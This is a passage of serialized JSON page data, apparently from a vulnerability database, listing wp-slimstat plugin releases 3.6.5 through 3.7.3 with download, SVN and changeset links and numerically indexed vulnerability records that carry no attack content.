score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5672,"download_url":5673,"svn_tag_url":5674,"released_at":39,"has_diff":54,"diff_files_changed":5675,"diff_lines":39,"trac_diff_url":5676,"vulnerabilities":5677,"is_current":54},"3.7.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.7.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.7.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.7.2&new_path=%2Fwp-slimstat%2Ftags%2F3.7.3",[5678,5679,5680,5681,5682,5683,5684,5685,5686,5687,5688,5689,5690,5691,5692,5693,5694,5695,5696,5697,5698,5699,5700],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5702,"download_url":5703,"svn_tag_url":5704,"released_at":39,"has_diff":54,"diff_files_changed":5705,"diff_lines":39,"trac_diff_url":5706,"vulnerabilities":5707,"is_current":54},"3.7.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.7.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.7.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.7.1&new_path=%2Fwp-slimstat%2Ftags%2F3.7.2",[5708,5709,5710,5711,5712,5713,5714,5715,5716,5717,5718,5719,5720,5721,5722,5723,5724,5725,5726,5727,5728,5729,5730],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5732,"download_url":5733,"svn_tag_url":5734,"released_at":39,"has_diff":54,"diff_files_changed":5735,"diff_lines":39,"trac_diff_url":5736,"vulnerabilities":5737,"is_current":54},"3.7.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.7.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.7.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.7&new_path=%2Fwp-slimstat%2Ftags%2F3.7.1",[5738,5739,5740,5741,5742,5743,5744,5745,5746,5747,5748,5749,5750,5751,5752,5753,5754,5755,5756,5757,5758,5759,5760],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5762,"download_url":5763,"svn_tag_url":5764,"released_at":39,"has_diff":54,"diff_files_changed":5765,"diff_lines":39,"trac_diff_url":5766,"vulnerabilities":5767,"is_current":54},"3.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.6.9&new_path=%2Fwp-slimstat%2Ftags%2F3.7",[5768,5769,5770,5771,5772,5773,5774,5775,5776,5777,5778,5779,5780,5781,5782,5783,5784,5785,5786,5787,5788,5789,5790],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5792,"download_url":5793,"svn_tag_url":5794,"released_at":39,"has_diff":54,"diff_files_changed":5795,"diff_lines":39,"trac_diff_url":5796,"vulnerabilities":5797,"is_current":54},"3.6.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.6.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.6.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.6.8&new_path=%2Fwp-slimstat%2Ftags%2F3.6.9",[5798,5799,5800,5801,5802,5803,5804,5805,5806,5807,5808,5809,5810,5811,5812,5813,5814,5815,5816,5817,5818,5819,5820],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5822,"download_url":5823,"svn_tag_url":5824,"released_at":39,"has_diff":54,"diff_files_changed":5825,"diff_lines":39,"trac_diff_url":5826,"vulnerabilities":5827,"is_current":54},"3.6.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.6.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.6.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.6.7&new_path=%2Fwp-slimstat%2Ftags%2F3.6.8",[5828,5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840,5841,5842,5843,5844,5845,5846,5847,5848,5849,5850],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5852,"download_url":5853,"svn_tag_url":5854,"released_at":39,"has_diff":54,"diff_files_changed":5855,"diff_lines":39,"trac_diff_url":5856,"vulnerabilities":5857,"is_current":54},"3.6.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.6.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.6.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.6.6&new_path=%2Fwp-slimstat%2Ftags%2F3.6.7",[5858,5859,5860,5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872,5873,5874,5875,5876,5877,5878,5879,5880],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5882,"download_url":5883,"svn_tag_url":5884,"released_at":39,"has_diff":54,"diff_files_changed":5885,"diff_lines":39,"trac_diff_url":5886,"vulnerabilities":5887,"is_current":54},"3.6.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.6.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.6.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.6.5&new_path=%2Fwp-slimstat%2Ftags%2F3.6.6",[5888,5889,5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904,5905,5906,5907,5908,5909,5910],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5912,"download_url":5913,"svn_tag_url":5914,"released_at":39,"has_diff":54,"diff_files_changed":5915,"diff_lines":39,"trac_diff_url":5916,"vulnerabilities":5917,"is_current":54},"3.6.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.6.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.6.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.6.4&new_path=%2Fwp-slimstat%2Ftags%2F3.6.5",[5918,5919,5920,5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936,5937,5938,5939,5940],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_t